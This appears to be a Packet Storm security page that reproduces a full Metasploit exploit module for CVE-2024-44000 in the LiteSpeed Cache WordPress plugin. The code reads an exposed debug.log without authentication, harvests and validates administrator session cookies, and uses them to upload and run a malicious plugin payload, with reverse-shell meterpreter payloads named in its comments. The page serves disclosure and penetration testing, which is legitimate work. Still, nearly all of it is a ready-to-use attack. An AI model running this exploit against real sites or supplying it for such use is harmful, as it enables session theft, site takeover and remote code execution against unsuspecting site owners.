Security
Headlines
HeadlinesLatestCVEs

Headline

WordPress LiteSpeed Cache Cookie Theft

This Metasploit module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a WordPress plugin that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.

Packet Storm
#vulnerability#windows#linux#git#wordpress#php#auth#ibm
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::Wordpress  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  class DebugLogError < StandardError; end  class WordPressNotOnline < StandardError; end  class AdminCookieError < StandardError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',        'Description' => %q{          This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin          that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when          the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint          which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.          The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.        },        'Author' => [          'Rafie Muhammad', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],          [ 'CVE', '2024-44000']        ],        'License' => MSF_LICENSE,        'Privileged' => false,        'Platform' => ['unix', 'linux', 'win', 'php'],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP In-Memory',            {              'Platform' => 'php',              'Arch' => ARCH_PHP              # tested with php/meterpreter/reverse_tcp            }          ],          [            'Unix In-Memory',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp            }          ],          [            'Windows In-Memory',            {              'Platform' => 'win',              'Arch' => ARCH_CMD            }          ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-09-04',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )  end  def check    @admin_cookie = get_valid_admin_cookie    CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')  rescue WordPressNotOnline => e    return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")  rescue DebugLogError => e    return CheckCode::Safe("#{e.class}, #{e}")  rescue AdminCookieError => e    return CheckCode::Safe("#{e.class}, #{e}")  end  def extract_cookies(debug_log)    admin_cookies = []    debug_log.each_line do |log_line|      # 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c      match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)      admin_cookies << match.captures.compact.join('; ') if match    end    admin_cookies  end  def verify_admin_cookie(admin_cookies)    admin_cookies.each do |admin_cookie|      res = send_request_cgi({        'uri' => '/wp-admin/',        'cookie' => admin_cookie      })      return admin_cookie if res&.code == 200    end    nil  end  def get_valid_admin_cookie    raise WordPressNotOnline unless wordpress_and_online?    res = send_request_cgi({      'uri' => normalize_uri('wp-content', 'debug.log'),      'method' => 'GET'    })    raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200    raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')    admin_cookies = extract_cookies(res.body)    raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?    print_status('One or more potential admin cookies were found')    admin_cookie = verify_admin_cookie(admin_cookies)    raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie    admin_cookie  end  def exploit    unless @admin_cookie      begin        @admin_cookie = get_valid_admin_cookie        print_good('Found and tested valid admin cookie, we can upload and execute a payload')      rescue WordPressNotOnline => e        fail_with(Failure::NotFound, "#{e.class}, #{e}")      rescue DebugLogError, AdminCookieError => e        fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")      end    end    print_status('Preparing payload...')    plugin_name = Rex::Text.rand_text_alpha(10)    payload_name = Rex::Text.rand_text_alpha(10).to_s    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")    zip = generate_plugin(plugin_name, payload_name)    print_status('Uploading payload...')    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded    print_status("Executing the payload at #{payload_uri}...")    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")    register_dir_for_cleanup("../#{plugin_name}")    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-6885-3